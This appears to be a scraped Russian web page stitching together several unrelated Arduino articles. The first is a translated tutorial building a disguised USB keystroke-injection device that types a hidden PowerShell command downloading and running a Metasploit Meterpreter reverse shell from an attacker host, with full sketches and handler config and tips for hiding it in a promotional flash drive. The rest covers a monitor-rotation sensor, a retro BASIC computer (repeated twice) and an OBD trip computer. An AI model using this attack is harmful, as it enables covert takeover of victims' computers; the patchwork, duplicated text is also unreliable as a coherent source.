Управление ардуино с клавиатуры

10 октября 2017 в 21:09

Взлом компьютера за 3 секунды. Делаем USB-уточку с нуля на Arduino

  • DIY или Сделай сам
  • Перевод

Начнём с традиционного «Этот материал представлен только в образовательных целях». Если вы используете эту информацию для взлома HBO и выпуска следующего сезона «Игры престолов» бесплатно на YouTube, ну… здорово. В том смысле, что я никак не поощряю подобное поведение.

Если не знаете, что такое «резиновая уточка» (USB Rubber Ducky), это устройство, которое сделал Hak5 , на фото. Оно выглядит и ведёт себя как обычная флешка, но её можно запрограммировать на очень быстрый ввод клавиш с клавиатуры. «Уточка» способна взломать любую систему за несколько секунд. Единственный недостаток - вам понадобится физический доступ к компьютеру. И ещё она стоит $50, вот почему я написал эту статью.

Мы используем 5V Adafruit Trinket и кабель microUSB - вот и всё, что нам понадобится.

К счастью, Adafruit предоставляет библиотеку для интерфейса клавиатуры по USB, так что сразу делаем #include . Вам понадобится установить библиотеку, следуя этой инструкции.

#include

Можем поиграться с библиотекой для начала, начнём с инициализации флэшки как HID-устройства методом begin().

#include void setup() { TrinketKeyboard.begin(); } void loop() { TrinketKeyboard.print("Help, I am trapped in a computer! \n"); delay(500); }

Выглядит неплохо. Теперь запустим команды на компьютере жертвы. Это можно сделать, «нажав» клавишу Windows, набрав cmd, Enter, а затем саму команду.

#include void pressEnter() { TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300); } void winRun() { TrinketKeyboard.pressKey(0x08, 0x15); delay(30); TrinketKeyboard.pressKey(0,0); } void setup() { TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("ipconfig"); delay(100); pressEnter(); }
Отлично. Создадим эксплоит во фреймворке Metasploit.

Будем использовать модуль web_delivery . Я выбрал его из-за высокой скорости и низкой вероятности срабатывания антивируса. Он также ничего не пишет на диск, так что не оставит следов по окончании работы.

Здесь мы ломаем 64-битную Windows 10, так что выберем мишенью PowerShell, но имейте в виду, это не эксплоит против PowerShell. Мы просто используем оболочку, чтобы скачать нужные файлы с сервера.

Нужно сказать нашей программе, откуда брать бинарники:

Set LPORT 443

Metasploit каждый раз генерирует случайный URIPATH, а мы хотим иметь возможность запускать и останавливать прослушку порта в любой момент без необходимости перекомпилировать код для флешки.

Set URIPATH /

Теперь нужно выбрать Powershell в качестве метода доставки. Эксплоит поддерживает три цели, помеченные идентификаторами: это 0: Python, 1: PHP, и 2: Powershell.

Теперь задаём полезную нагрузку. Я использую reverse_https, ведь мы работаем по 443-му порту. Для большинства систем обнаружения вторжений будет выглядеть как обычное соединение.

Set PAYLOAD windows/meterpreter/reverse_https

И наконец exploit .

Чтобы удобно было останавливать и возобновлять прослушку порта, создадим конфигурационный файл: usb.rc.

Use exploit/multi/script/web_delivery
set LHOST 1.2.3.4
set LPORT 443
set URIPATH /
set TARGET 2
set PAYLOAD windows/meterpreter/reverse_https
exploit

Получаем полезную нагрузку для запуска на компьютере жертвы:

Powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=::GetSystemWebProxy();$N.Proxy.Credentials=::DefaultCredentials;IEX $N.downloadstring("http://1.2.3.4:8080/");

Теперь можем запустить это с флэшки.

#include void pressEnter() { TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300); } void winRun() { TrinketKeyboard.pressKey(0x08, 0x15); delay(30); TrinketKeyboard.pressKey(0,0); } void setup() { TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=::GetSystemWebProxy();$N.Proxy.Credentials=::DefaultCredentials;IEX $N.downloadstring("http://1.2.3.4:8080/");"); delay(100); pressEnter(); } void loop() { // nothing happens after setup }
Работает очень неплохо. Нам нужно около 40 секунд, чтобы поиметь Дейнерис, я имею в виду компьютер жертвы.

Из-за ограниченной мощности «уточки» загрузчик не доступен постоянно, как в обычной Arduino, вы можете загрузить код только когда нажмёте кнопку на флешке или в течение первых 30 секунд работы. То есть первые 30 секунд после подключения флешки мы ждём, пока код реально сработает, а затем ещё 10 секунд для набора и выполнения скрипта. Было бы очень полезно сократить время доступа на 75%. Вот этот хороший человек отредактировал прошивку, чтобы пропустить загрузчик при подключении. Мы взяли код и перепрошили флэшку, перезагрузили код и та-дам - всё работает. Но можно сделать ещё лучше: хорошо бы спрятать микросхему в корпус, чтобы она не вызывала подозрений.

Я выбрал одну из тех неприметных USB-флешек, которые рекрутеры раздают миллионами, и заказал эти классные маленькие OTG-адаптеры microUSB − USB A. Пришлось отрезать ненужные части печатной платы, чтобы она поместилась в корпус, всунул OTG-адаптер в корпус USB A и заклеил всё суперклеем. По мне так выглядит вообще не подозрительно, но всё-таки 10 секунд - это немалое время, особенно когда прячешься от драконов.

Вы также можете заказать Arduino Pro Micro на Amazon примерно за $10. Если есть терпение, то можно даже найти на eBay примерно за $3 или $4. У меня не нашлось USB-флэшки достаточно большого размера для Pro Micro, так что я подключил OTG-адаптер, перемотал его изолентой и на этом успокоился.

Нужно немного изменить программу, потому что мы используем другую библиотеку, но работать она будет как и раньше.

#include "Keyboard.h" void winRun() { Keyboard.press(KEY_LEFT_GUI); Keyboard.press("r"); delay(30); Keyboard.releaseAll(); delay(100); } void setup() { Keyboard.begin(); delay(2000); winRun(); Keyboard.println("cmd"); Keyboard.write(KEY_RETURN); delay(500); Keyboard.println("powershell.exe -nop -w hidden -c $C=new-object net.webclient;$C.proxy=::GetSystemWebProxy();$C.Proxy.Credentials=::DefaultCredentials;IEX $C.downloadstring("http://1.2.3.4:8080/");"); Keyboard.write(KEY_RETURN); } void loop() { // put your main code here, to run repeatedly: }
Самое большое преимущество Pro Micro - это скорость. Теперь нам нужно всего 3 секунды физического доступа. Настоящая атака на ходу. Если вы намерены применить эту силу, делайте это ради благого дела. Убейте Серсею.

Узнайте, как создать устройство, которое определяет, когда компьютерный монитор физически повернут, и автоматически сообщает компьютеру повернуть дисплей соответствующим образом.

В настоящее время большое количество цифрового контента является узким и высоким (портретная ориентация), но большинство компьютерных мониторов являются широкими и низкими (ландшафтная ориентация). Это означает, что много места на мониторе теряется впустую. Сравните два скриншота ниже. В ландшафтном представлении видны только полтора поста, а в портретном - 3.



По этой причине при просмотре социальных сетей может быть полезен поворот монитора на 90°, однако переключение настроек дисплея назад и вперед может быть слишком утомительно. Особенно это актуально, если у вас несколько мониторов или компьютер, на котором не работают стандартные сочетания горячих клавиш. Сегодня я собираюсь показать, как создать устройство, которое будет автоматически говорить компьютеру, повернуть дисплей, когда монитор физически повернут.

Принцип действия

Устройство будет собрано на Arduino и установлено на задней панели монитора. Для определения направления мы будем использовать акселерометр. В стационарном режиме акселерометр интерпретирует гравитацию как ускорение вверх, равное 9,8 м/с 2 . Акселерометр будет взаимодействовать с Arduino через интерфейс I2C. Arduino будет постоянно следить (опрашивать), в каком направлении акселерометр думает, что он ускоряется. При изменении Arduino через USB отправит сигнал на компьютер. Скрипт на python, запущенный на компьютере, прочитает это изменение и сообщит компьютеру о необходимости повернуть дисплей в соответствующем направлении.

В данной статье объясняется, как реализовать это на Windows и Linux. Вероятно это можно сделать и на Mac. Однако, поскольку у меня нет Mac, я не могу попробовать. Единственное отличие - это системная команда, вызываемая скриптом Python.

Подключите Arduino с помощью USB кабеля к компьютеру.

Как упоминалось ранее, мы можем использовать акселерометр для определения направления, измеряя, какое направление считывает ускорение 9,8 м/с 2 . Поскольку монитор всегда будет либо в вертикальном, либо в горизонтальном положении, это будет легко (если бы нам было нужно учитывать диагональные ориентации, было бы сложнее).

При программировании хорошей практикой считается разделение кода по различным аспектам на разные файлы. Для определения ориентации мы написали библиотеку на базе официальной библиотеки MMA7455. Это позволяет нам абстрагироваться от деталей того, как это делается, и поэтому наш основной файл может оставаться простым, в нем будет проверяться ориентация вызовом только одной функции и при изменениях отправляться сообщение на компьютер.

Скачайте и распакуйте следующий архив:

Откройте monitor.ino в Arduino IDE. Скомпилируйте и запустите код (все 3 файла для Arduino должны быть в одном каталоге). Откройте монитор последовательного порта Инструменты (Tools) > Монитор порта (Serial Monitor) или с помощью Ctrl + Shift + M .

Вы должны будете увидеть что-то похожее:

Freescale MMA7455 accelerometer May 2012 The MMA7455 is okay STATUS: 0 WHOAMI: 55 Assuming the device is Y_POS

Теперь возьмите Arduino так, чтобы она находилась параллельно вертикальной плоскости. Повращайте её (тоже в вертикальной плоскости). Каждый раз при повороте на 90° вы должны видеть что-то похожее:

Rotate Monitor change detected Rotate Monitor change detected Rotate Monitor change detected Rotate Monitor

Установите устройство на заднюю панель монетора и подключите его к компьютеру с помощью USB кабеля. Для установки вы можете использовать любой способ. Я использовал пластиковые стойки и двухсторонний скотч.

Нам нужно откалибровать акселерометр, чтобы он знал, в каком направлении он указывает при включении. Эта инициализация будет выполняться при каждом включении Arduino. При использовании на мониторе это может быть всякий раз, когда вы включаете компьютер (зависит от того, остается ли питание на USB портах, когда компьютер выключен). Поэтому, когда вы включаете компьютер, это устройство ожидает, что ваш монитор будет находиться в том положении, которое вы определили как положение по умолчанию. Если это не так, Arduino сообщит компьютеру, что дисплей повернут неправильно, или она будет дезориентирована и не будет говорить компьютеру о вращении вовсе.

Когда вы устанавливаете устройство на заднюю панель монитора, обратите внимание на то, какое направление является верхом, когда ваш монитор находится в положении по умолчанию (в том, при котором, вероятно, он будет находиться при включении компьютера).

В monitor.ino есть строка кода, которую нужно соответствующим образом изменить. Если стрелка y на акселерометре указывает вверх, то оставьте в строке Y_POS . Если стрелка указывает вниз, измените строку на Y_NEG . Аналогично и с осью x, используйте X_POS и X_NEG .

#define START_ORIENTATION Y_POS

Если вы хотите понять, как работает код, то продолжайте чтение. Если вам необходим просто работающий продукт, то можно перейти к разделу «Код со стороны компьютера».

Пояснения к коду

Посмотрим на MMA7455.h .

Typedef enum {Y_POS, Y_NEG, X_POS, X_NEG, Z_POS, Z_NEG, NOT_SURE} orientation;

Перечисление enum в C представляет собой тип данных, как int или char . Оно используется для переменных, которые точно могут быть одним из значений из короткого списка нечисловых переменных. В данном случае мы используем enum для сохранения ориентации устройства в переменной.

Посмотрите на акселерометр. Вы увидите на нем стрелки x и y . Когда стрелка x указывает на верх, то мы должны указать X_POS . Когда стрелка x указывает вниз, мы должны указать X_NEG . Ось z указывает на плату. Когда плата лежит на столе в горизонтальном положение, это состояние обозначается Z_POS .

При установке на заднюю панель монитора устройство должно всегда по x-оси или по y-оси быть направлено вверх или вниз. В monitor.ino мы создали макрос под названием VALID_ORIENTATION для проверки, соответствует заданная ориентация одному из 4 возможных вариантов. Как вы можете видеть, можем проверить значение перечисления, как и значения любого другого типа данных.

#define VALID_ORIENTATION(o) ((o==Y_POS) || (o==Y_NEG) || (o==X_POS) || (o==X_NEG))

В функции setup() в основном диагностика. В ней три важных строки:

Serial.begin(9600);

Строка выше инициализирует связь по последовательному порту, через который мы будем взаимодействовать с компьютером.

Wire.begin();

Инициализирует связь по шине I2C, через которую мы будем взаимодействовать с акселерометром. Она инициализирует настройки только на стороне Arduino. Акселерометр мы инициализируем с помощью следующей строки:

Error = MMA7455_init(START_ORIENTATION);

Когда вы нажимаете кнопку, ее контакты не замыкаются идеально. Они «дребезжат», и сигнал выглядит так, как если бы пользователь в течение нескольких миллисекунд нажал кнопку несколько раз. Мы ждем 100 мс, чтобы убедиться, что наш код не интерпретирует этот дребезг как последовательность нажатий. Существует два подхода борьбы с дребезгом контактов. Мы можем реализовать либо аппаратное, либо программное подавление дребезга контактов. Аппаратный метод включает в себя добавление в схему фильтра нижних частот, либо активного, либо пассивного. Поскольку это связано с покупкой и пайкой дополнительных компонентов, вместо него я выбрал программное подавление дребезга.

Используемый нами акселерометр имеет некоторые функции прерываний, но в нашем случае они неприменимы. Вот почему мы прибегли к опросу (прерывания предпочтительны с точки зрения производительности). Как правило, при работе с кнопками рекомендуется использовать прерывания. Однако, поскольку мы уже опрашиваем акселерометр, то можем заодно опросить и кнопку.

Каждый раз в цикле мы проверяем, нажата ли кнопка в данный момент. Если это так, и она была не нажата в предыдущий раз, то мы знаем, что поьзователь нажал ее только что, и поэтому мы запускаем функцию setup() снова и отправляем START_ORIENTATION на компьютер. Затем, прежде чем продолжить, мы ждем 100 мс. Эта задержка нужна, чтобы перед продолжением работы Arduino дождалась, чтобы контакты установили конечное состояние. По общему признанию, это довольно небрежный и ленивый подход к программному подавлению дребезга контактов, потому что Arduino ничего не делает во время задержки. Более сложный подход будет включать в себя таймеры, чтобы, пока Arduino ждет установления состояния контактов, мог выполняться другой код. В этом конкретном случае единственное, что мы упускаем, используя задержку вместо таймера, - это изменение показаний акселерометра. Поскольку, когда пользователь нажимает кнопку, этого происходить не должно, то этот неаккуратный метод можно считать приемлемым. Единственное преимущество метода задержки - это простота. Аппаратное подавление дребезга контактов требует дополнительных компонентов, а написание кода для прерываний и задержек может оказаться сложным.

}else if(!digitalRead(BUTTON_PIN) // кнопка была нажата && previous_button_state) // и это первый раз, когда она нажата { // послать, даже если ориентация на была изменена setup(); // перекалибровать sendOrientation(START_ORIENTATION); delay(100); //программное подавление дребезга контактов previous_button_state = 0; }

Код со стороны компьютера

Arduino отправит информацию на компьютер, используя тот же последовательный интерфейс, который мы используем для ее программирования и отладки. Чтобы избежать конфликтов, убедитесь, что монитор последовательного порта в Arduino IDE закрыт, когда запущен скрипт. Если он открыт, некоторые сообщения от Arduino будут захвачены монитором последовательного порта, и скрипт их не увидит или увидит только их часть.

На стороне компьютера мы будем использовать код на Python. Он будет слушать то, что Arduino пишет в последовательный интерфейс, и выполнять системный вызов для поворота дисплея.

Пользователи Linux могут пропустить следующий подраздел и перейти к подразделу «Linux».

Windows

Если у вас несколько мониторов, то сделайте следующее (если у вас только один монитор, то пропустите этот параграф). Откройте командную строку там, где сохранили display.exe (откройте проводник в этом месте, затем выполните Shift + правый клик на фоне проводника, и выберите " Открыть окно команд "). Введите в консоли display.exe /listdevices . Вы должны будете увидеть индекс каждого вашего монитора. Обратите внимание на индекс монитора, который хотите вращать.

Python скрипт откроет соединение с USB портом. Когда он обнаружит сообщение от Arduino, он пошлет соответствующую команду утилите display.exe , которая и повернет дисплей. Найдите следующую строку и укажите каталог, в котором находится display.exe:

Command = "C:/.../display.exe /rotate:" + translation

Пользователям с несколькими мониторами необходимо добавить еще /device x (где x - индекс вашего монитора). Получится что-то похожее:

Command = "C:/.../display.exe /device 2 /rotate:" + translation

В командной строке перейдите к каталогу, в котором сохранили display.exe и windows-script.py . Это можно сделать с помощью команды cd . Например, если они сохранены в Documents/rotate, используйте:

Cd Documents/rotate

Теперь наберите dir , чтобы увидеть список файлов в каталоге. Дважды проверьте, что в нем есть оба файла. Теперь давайте запустим python-скрипт.

Python windows-script.py

Попробуйте повращать устройство. Дисплей должен поворачиваться в соответствующем направлении.

Теперь нам необходимо, чтобы Windows запускала эту программу в фоновом режиме при включении компьютера. По умолчанию программы из автозапуска запускаются видимыми. Но мы не хотим постоянно видеть окно командной строки. Поэтому мы создадим batch файл, который будет запускать python скрипт в фоновом режиме, а затем выполнение этого batch файла будет завершаться.

Сначала откройте каталог автозагрузки. Расположение этой папки зависит от используемой версии Windows. Нажмите клавишу Windows , а затем R . Должно появиться окно запуска. Наберите shell:startup и нажмите Enter . Теперь вы должны увидеть каталог автозагрузки. Создайте там новый текстовый файл monitor.bat и вставьте в него следующий код. Измените путь так, чтобы он указывал на python скрипт.

@echo off START pythonw C:\...\windows-script.py

Мы используем pythonw вместо python, потому что это обязательно для скрытия окна командной строки python скрипта.

Теперь перезагрузите компьютер и проверьте, что всё работает. Если всё хорошо, то можно перейти к концу статьи.

Linux

Всё готово!

Теперь присаживайтесь и наслаждайтесь более эффективным использованием места на вашем мониторе.

C помощью Arduino можно собрать 8-битный ретро-компьютер с Basic (похожий на ZX Spectrum) с выводом цветного изображения на VGA-монитор.

Кроме того, этот проект можно использовать как простой способ вывода текстовых сообщений на монитор.

Сама по себе, идея использовать Arduino для создания компьютера с BASIC не нова, но насколько я знаю, все они не поддерживают вывод цветного изображения. В некоторых проектах использовались LCD-мониторы, а в других - библиотека TVout , которая выводит чёрно-белое изображение. Кроме того, многие из этих проектов требуют дополнительные модули и специальные платы расширения. Тут же нужно всего-то иметь два Arduino, несколько резисторов, плюс разъёмы для PS/2 клавиатуры и VGA-монитора.

Для проекта нужно две платы Arduino: один будет основным (или «мастером»), в нём работает интерпретатор Tiny Basic Plus (это порт Tiny Basic на языке Си, адаптированный для поддержки Arduino). Также этот Arduino управляет PS/2 клавиатурой. Вывод из первого Arduino через последовательный порт отправляется на второй Arduino, который с помощью библиотеки VGAx генерирует VGA-сигнал.

Программу на языке BASIC в собранный нами компьютер можно будет ввести с помощью PS/2 клавиатуры, а результат можно будет посмотреть на VGA-мониторе: разрешение получившегося изображения 24 столбца на 10 строк, размер символов - 5х6 пикселей, доступно 4 цвета.
После введения программы, её можно будет сохранить в энергонезависимой памяти самого Arduino, а также код программы предусматривает управление I/O пинами Arduino.

1. Подключаем основной Arduino с интерпритатором TinyBasic и с PS/2 клавиатурой

TinyBasic Plus и библиотека VGAx работают с Arduino IDE 1.6.4.
Если у вас уже установлена более новая версия, то лучшее решение - загрузить эту версию с официального сайта в формате.zip, и распаковать в отдельную папку. можно загрузить эту версию для Windows.

Потом нам понадобится библиотека PS2keyboard , её можно загрузить отсюда. После скачивания просто распакуйте архив, и скопируйте его содержимое в «arduino-1.6.4\libraries».

Если на этом этапе нет проблем (в том числе, проблем с совместимостью), то Tiny Basic будет автоматически запущен при включении Arduino. И его можно будет протестировать с помощью последовательного порта на вашем ПК. Для этих целей я использую PuTTY , но вы можете использовать и другую подобную программу, по вашему вкусу.

В настройках нужно правильно установить COM-порт (тот же, что используется в Arduino), и скорость передачи = 4800.

И тут уже можно протестировать нашу систему, набрав какую-нибудь программу на Basic с клавиатуры вашего ПК (позже мы подключим PS/2 клавиатуру напрямую к Arduino).

Для примера, можно набрать:

10 PRINT "Hello, World!" 20 GOTO 10 RUN
Прервать бесконечный цикл этой программы можно с помощью комбинации клавиш Ctrl+C (это не сработает, если мы будем делать это с клавиатуры PS/2).

Теперь подключим PS/2 клавиатуру.

2. Подключаем PS/2 клавиатуру к основному Arduino

Информация и библиотека были взяты из этого материала.

По существу, вам нужно соединить следующие четыре контакта:
Data клавиатуры к Arduino pin 8,
IRQ (clock) клавиатуры к Arduino pin 3;
а также подключить землю (GND) и питание +5V, соответственно.

Я использовал PS/2 разъём cо старой нерабочей материнской платы, его можно легко сдуть с помощью фена.

Распиновка PS/2 разъема есть на рисунке:

3. Загружаем библиотеку VGAx и код во второй Arduino, и соединяем его с основным


Для начала, загрузите код VGAx-PC.ino и скопируйте его к себе на компьютер в папку с таким же именем.

Потом - загрузите с GitHub бибилиотеку VGAx . Её нужно поместить в подпапку «libraries» Arduino IDE.

ВАЖНО! Эта бибилиотека работает с Arduno IDE 1.6.4 и может быть не совместима с другими, более новыми версиями.

Теперь загрузите VGAx-PC.ino во второй Arduino (я тестировал на Arduino Nano, но с Arduino Uno тоже не должно быть проблем).

Предупреждение, что мало доступной памяти - это нормально для нашего случая. Если других ошибок нет, то всё в порядке - и можно сделать ещё пару шагов, чтобы получить свой собственный 8-битный ретро-компьютер.

Для этого нужно:

  • два Arduino Uno Rev.3, или два Arduino Nano 3.x (на основе ATmega328)
  • разъем DSUB15, т.е. гнездо VGA или кабель с таким гнездом, который не жалко отрезать
  • резисторы: 2 на 68 Ом и 2 на 470 Ом
  • разъем PS2
  • провода
  • необязательно: макетная плата

Осталось всё соединить по схеме на рисунке, и наш 8-битный компьютер готов!

Видео, как это всё работает:

Примерно за 25 долларов мы сделаем бортовой компьютер, умеющий считать расход топлива, показывать температуру охлаждающей жидкости, скорость авто, расстояние поездки, потраченный бензин за поездку, обороты двигателя, давление во впускном коллекторе, температуру впускного коллектора, УОЗ и многое другое. Сброс ошибок доступен в режиме |--recovery--| (как зайти написано ниже). Опрос данных из эбу происходит примерно 2 раза в секунду.

Еще фото














Список требуемых деталей для сборки БК

1) Arduino Uno R3 - 1 шт. ~ 7 долларов:

2) LCD2004 жк-модуль ~ 6 долларов:

3) Модуль Bluetooth HC-05 ~ 4 доллара:

4) OBD ELM327 Bluetooth сканер ~ 4 доллара:

5) Резистор 5 кОм подстроечный, бипер для звука, 2 кнопки для смены экранов, провода для соединений, корпус ~ 3 доллара.

Настройка блютуз модуля HC-05 для работы

Подпаиваем провода к пинам блютуза: (картинку с выходами смотреть в описании требуемых деталей )

  • 1 - это TX
  • 2 - это RX
  • 12 - это 3.3V
  • 13 - это GND
  • 34 - на этот вход тоже кидаем 3,3 V (нужен для перевода модуля в режим настройки с помощью AT команд).

Подключаем блютуз модуль к ардуине.

  • 1 - TX модуля в 6 пин ардуины. (внимание будет TX в TX это не ошибка!)
  • 2 - RX модуля в 7 пин ардуины. (аналогично не ошибка!)
  • 12 - и 34 пин к 3,3V ардуины.
  • 13 - GND ардуины.

Открываем Aduino IDE и заливаем скетч через USB порт в плату.

#include
SoftwareSerial BTSerial(6, 7); // TX | RX
void setup()
{
Serial.begin(9600);
Serial.println(«Enter AT commands:»);
BTSerial.begin(38400);
}

void loop()
{
if (BTSerial.available())
Serial.write(BTSerial.read());
if (Serial.available())
BTSerial.write(Serial.read());
}

После успешной загрузки скетча открываем: Сервис->Монитор порта . Далее снизу ставим скорость 9600 бод и NL+CR вместе.

AT // (возможно 1 раз вылетит Error, не пугайтесь… это нормально, повторите опять)
AT+NAME=Car //Присваиваем имя модулю Car
AT+ROLE=1 // Переводим модуль в режим Мастер
AT+PSWD=1234 // Ставим пароль 1234 как на OBD ELM327
AT+BIND=AABB,CC,112233 //Прописываем Mac адрес OBD ELM327.
AT+CMODE=1 // Подключение модуля с фиксированным адресом

Заметьте, что mac-адрес вида: «AA:BB:CC:11:22:33» вводится как «AABB,CC,112233». MAC- адрес своего модуля ELM327 можете посмотреть, подключившись для начала на него со своего мобильника. (Стандартные пароли обычно: 1234, 6789, 0000).

Всё, настройка модуля Bluetooth закончена.

Теперь нужно Собираем схему Arduino, блютуз, lCD-экран

1.Начнем с подключения HC-05 Bluetooth модуля.

  • 1 - TX модуля засовываем в 7 Pin (Rx) арудины (именно TX в RX, не так как ранее);
  • 2 - RX модуля засовываем в 8 Pin (Tx) арудины;
  • 12 - Pin (3,3V) модуля в Pin 3,3V ардуины;
  • 13 - Pin (Gnd) в Gnd арудуины;
  • 34 - Pin мы никуда не подключаем (заизолируйте или отпаяйте).

2. Подключаем монитор LCD.

  • VSS экрана к GND ардуины;
  • VDD экрана к 5V ардуины;
  • V0 экрана к центральному выходу резистора;
  • RS экрана к 12 пину ардуины;
  • RW экрана к GND ардуины;
  • E экрана к 11 пину ардуины;
  • DB4 экрана к 5 пину ардуины;
  • DB5 экрана к 4 пину ардуины;
  • DB6 экрана к 3 пину ардуины;
  • DB7 экрана к 2 пину ардуины;
  • A - к 5V ардуины;
  • K - GND ардуины.

Оставшиеся ноги резистора: одну пустить на GND ардуины, а вторую на 5V ардуины.

Переменный резистор на 5кОм нужен, чтобы управлять контрастностью монитора, так что если при первом включении вы включите и ничего не увидите, попробуйте отрегулировать контрастность шрифта поворотом резистора.

3. Подключаем дополнительную кнопку для переключения экранов с данными.

: один конец от нормально-открытой кнопки подключаем в GND ардуино, а второй конец в пин 10.
: GND + пин 9.

Бипер для звуковых предупреждений подключить по следующей схеме "+" к пину 13, а минус к GND ардуино.

Заливаем скетч в Arduino с помощью Arduino IDE

Единственное, в скетче присутствует переменная, которую нужно поправить в соответствии с объёмом вашего автомобиля. Скетч написан так, чтобы было понятно каждому и любой мог исправить что захочет.

Нужно будет обязательно учесть три переменных:

1) ED=2.000 Например объем двигателя в литрах 1.398;
2) VE=80.00 Объёмный КПД ДВС: обычно в районе 80 (если расход реально меньше - то уменьшаем значение в процентном соотношении). Если не хотите калибровать добейтесь чтобы при прогретом двигателе мгновенный расход в л/час был в районе половины обьема двигателя;
3) tcorrect=1.014 (калибровка времени).

Возможно, Arduino будет не точно считать время с помощью комманды millis()… Тут только вручную корректировать значение. На экране «технологический 2» будет указаны секунды: например, time_start: 23. Сравните значение с реальным. Для примера засеките 10 минут, когда значение time_start будет, например, равно 23. И выйдет, что через 600 секунд реально покажет 605. Итого 623-605=18 секунд отставание в ардуинке. То есть поправочный коэффициент tcorrect будет равен 623/605=1,02975.

Управление

[Кнопка 1], [кнопка 2] - листать экран вперед назад.
При включении при надписи Connecting… держать [кнопку 1] вход в режим показывания технологических экранов и параметров отдаваемых ЭБУ в десятичном формате. Если будете включать БК не в машине то нужно отключить функцию опроса блютуз, надо продолжать держать две кнопки при надписи |---Recovery--|… а то экран будет пустой.

[Кнопка 1] + [кнопка 2]: 4 секунды - Сброс журнала общего пробега и потраченного бензина.

C помощью Arduino можно собрать 8-битный ретро-компьютер с Basic (похожий на ZX Spectrum) с выводом цветного изображения на VGA-монитор.

Кроме того, этот проект можно использовать как простой способ вывода текстовых сообщений на монитор.

Сама по себе, идея использовать Arduino для создания компьютера с BASIC не нова, но насколько я знаю, все они не поддерживают вывод цветного изображения. В некоторых проектах использовались LCD-мониторы, а в других - библиотека TVout , которая выводит чёрно-белое изображение. Кроме того, многие из этих проектов требуют дополнительные модули и специальные платы расширения. Тут же нужно всего-то иметь два Arduino, несколько резисторов, плюс разъёмы для PS/2 клавиатуры и VGA-монитора.

Для проекта нужно две платы Arduino: один будет основным (или «мастером»), в нём работает интерпретатор Tiny Basic Plus (это порт Tiny Basic на языке Си, адаптированный для поддержки Arduino). Также этот Arduino управляет PS/2 клавиатурой. Вывод из первого Arduino через последовательный порт отправляется на второй Arduino, который с помощью библиотеки VGAx генерирует VGA-сигнал.

Программу на языке BASIC в собранный нами компьютер можно будет ввести с помощью PS/2 клавиатуры, а результат можно будет посмотреть на VGA-мониторе: разрешение получившегося изображения 24 столбца на 10 строк, размер символов - 5х6 пикселей, доступно 4 цвета.
После введения программы, её можно будет сохранить в энергонезависимой памяти самого Arduino, а также код программы предусматривает управление I/O пинами Arduino.

1. Подключаем основной Arduino с интерпритатором TinyBasic и с PS/2 клавиатурой

TinyBasic Plus и библиотека VGAx работают с Arduino IDE 1.6.4.
Если у вас уже установлена более новая версия, то лучшее решение - загрузить эту версию с официального сайта в формате.zip, и распаковать в отдельную папку. можно загрузить эту версию для Windows.

Потом нам понадобится библиотека PS2keyboard , её можно загрузить отсюда. После скачивания просто распакуйте архив, и скопируйте его содержимое в «arduino-1.6.4\libraries».

Если на этом этапе нет проблем (в том числе, проблем с совместимостью), то Tiny Basic будет автоматически запущен при включении Arduino. И его можно будет протестировать с помощью последовательного порта на вашем ПК. Для этих целей я использую PuTTY , но вы можете использовать и другую подобную программу, по вашему вкусу.

В настройках нужно правильно установить COM-порт (тот же, что используется в Arduino), и скорость передачи = 4800.

И тут уже можно протестировать нашу систему, набрав какую-нибудь программу на Basic с клавиатуры вашего ПК (позже мы подключим PS/2 клавиатуру напрямую к Arduino).

Для примера, можно набрать:

10 PRINT "Hello, World!" 20 GOTO 10 RUN
Прервать бесконечный цикл этой программы можно с помощью комбинации клавиш Ctrl+C (это не сработает, если мы будем делать это с клавиатуры PS/2).

Теперь подключим PS/2 клавиатуру.

2. Подключаем PS/2 клавиатуру к основному Arduino

Информация и библиотека были взяты из этого материала.

По существу, вам нужно соединить следующие четыре контакта:
Data клавиатуры к Arduino pin 8,
IRQ (clock) клавиатуры к Arduino pin 3;
а также подключить землю (GND) и питание +5V, соответственно.

Я использовал PS/2 разъём cо старой нерабочей материнской платы, его можно легко сдуть с помощью фена.

Распиновка PS/2 разъема есть на рисунке:

3. Загружаем библиотеку VGAx и код во второй Arduino, и соединяем его с основным


Для начала, загрузите код VGAx-PC.ino и скопируйте его к себе на компьютер в папку с таким же именем.

Потом - загрузите с GitHub бибилиотеку VGAx . Её нужно поместить в подпапку «libraries» Arduino IDE.

ВАЖНО! Эта бибилиотека работает с Arduno IDE 1.6.4 и может быть не совместима с другими, более новыми версиями.

Теперь загрузите VGAx-PC.ino во второй Arduino (я тестировал на Arduino Nano, но с Arduino Uno тоже не должно быть проблем).

Предупреждение, что мало доступной памяти - это нормально для нашего случая. Если других ошибок нет, то всё в порядке - и можно сделать ещё пару шагов, чтобы получить свой собственный 8-битный ретро-компьютер.

Для этого нужно:

  • два Arduino Uno Rev.3, или два Arduino Nano 3.x (на основе ATmega328)
  • разъем DSUB15, т.е. гнездо VGA или кабель с таким гнездом, который не жалко отрезать
  • резисторы: 2 на 68 Ом и 2 на 470 Ом
  • разъем PS2
  • провода
  • необязательно: макетная плата

Осталось всё соединить по схеме на рисунке, и наш 8-битный компьютер готов!

Видео, как это всё работает: